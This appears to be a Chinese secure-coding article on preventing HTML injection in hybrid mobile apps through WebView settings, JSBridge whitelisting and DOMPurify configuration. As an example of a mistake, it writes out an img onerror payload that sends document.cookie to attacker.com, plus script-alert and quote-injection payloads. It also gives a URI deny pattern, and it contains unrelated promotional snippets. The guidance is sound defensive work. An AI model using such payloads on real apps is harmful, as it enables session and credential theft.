混合应用中html注入更难防,因webview弱化同源策略、绕过csp,且jsbridge接口常未校验;攻击者可借注入html调用原生能力,如读文件、获设备信息或触发支付。

混合应用里 HTML 注入为什么比纯 Web 更难防
因为 WebView 容器本身会弱化同源策略、绕过部分 CSP 限制,且原生层与 Web 层之间常存在未校验的 JSBridge 接口。攻击者一旦注入 HTML,就可能通过 window.prompt、prompt() 或自定义 JSInterface 调用原生能力,比如读取本地文件、获取设备信息、甚至触发支付回调。
常见错误现象包括:
- 用户输入的昵称(如
<img src="x" onerror='fetch("https://attacker.com/log?c="+document.cookie)'>)在 WebView 中直接渲染后触发请求 - URL 参数带
%3Cscript%3Ealert(1)%3C/script%3E,被原生层 decode 后再传给loadUrl(),最终执行 - 富文本编辑器导出的 HTML 经
evaluateJavascript()执行,未过滤javascript:协议或onxxx属性
WebView 加载 HTML 前必须做的三件事
Android 的 WebView.loadDataWithBaseURL() 和 iOS 的 WKWebView.loadHTMLString() 都不自动转义,等同于裸奔。你不能依赖“它只是显示”,而要默认它会执行。
文章转信息图。将文章/笔记转化为手机可读的 HTML 信息图,自动匹配视觉风格。触发场景:文章转图、笔记转图、信息图、转小红书图、做张图、可视化这篇文章、文生图。
- 对所有动态拼入的 HTML 字符串,先调用服务端或前端净化逻辑:Android 用
Html.escapeHtml()(API 24+),iOS 用CFXMLCreateStringByEscapingEntities()或第三方库如OHHTMLSanitizer - 禁用
setJavaScriptEnabled(true)除非绝对必要;若开启,必须同步关闭setAllowUniversalAccessFromFileURLs(false)和setAllowFileAccessFromFileURLs(false) - 拦截所有
shouldInterceptRequest()(Android)或webView(_:decidePolicyFor:decisionHandler:)(iOS),检查 URL 是否含javascript:、data:text/html或未签名的 base64 内容
JSBridge 接口是 HTML 注入的放大器
很多混合应用把 JSBridge 设计成“万能通道”,比如 window.JSBridge.invoke("getStorage", {key: userInput})。如果 userInput 没做过滤,攻击者就能构造 {"key": "auth_token' OR '1'='1"} 这类 payload,再配合 HTML 注入完成跨层越权。
- 所有 JSBridge 方法名必须白名单校验,禁止通配符或反射调用(如
invoke(methodName, ...)中的methodName必须从预设数组中匹配) - 参数值一律走 JSON Schema 校验,字符串字段强制限定长度、字符集(如仅允许
[a-zA-Z0-9_\-]) - 敏感操作(如支付、读取通讯录)必须二次确认,且确认弹窗不能由 JS 渲染,必须走原生 UI
富文本场景下 DOMPurify 不是万能解药
DOMPurify.sanitize() 在 WebView 中默认启用 FORBID_TAGS 和 FORBID_ATTR,但它的默认配置不识别混合应用特有风险点:比如 intent:// 协议、file:///android_asset/ 路径、或自定义 schema 如 myapp://open?path=。一旦这些被放行,HTML 注入就能跳转到任意原生页面甚至触发 Intent 拦截漏洞。
- 必须重写
ALLOWED_URI_REGEXP,显式拒绝^javascript:|^data:|^file:|^intent: - 禁用
ADD_URI_SAFE_LIST,不要手动加白名单——WebView 环境下没有“安全 URI”这回事 - 对
src、href、data-类属性,额外做协议校验:只允许https?、/、#开头,其余一律置空
最易被忽略的是:WebView 的 evaluateJavascript() 和 stringByEvaluatingJavaScriptFromString: 会直接执行字符串,哪怕内容来自 DOMPurify.sanitize() 输出——只要里面含 eval、setTimeout 或构造函数调用,就仍可能触发沙箱逃逸。别信“净化完就安全”这种说法。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!










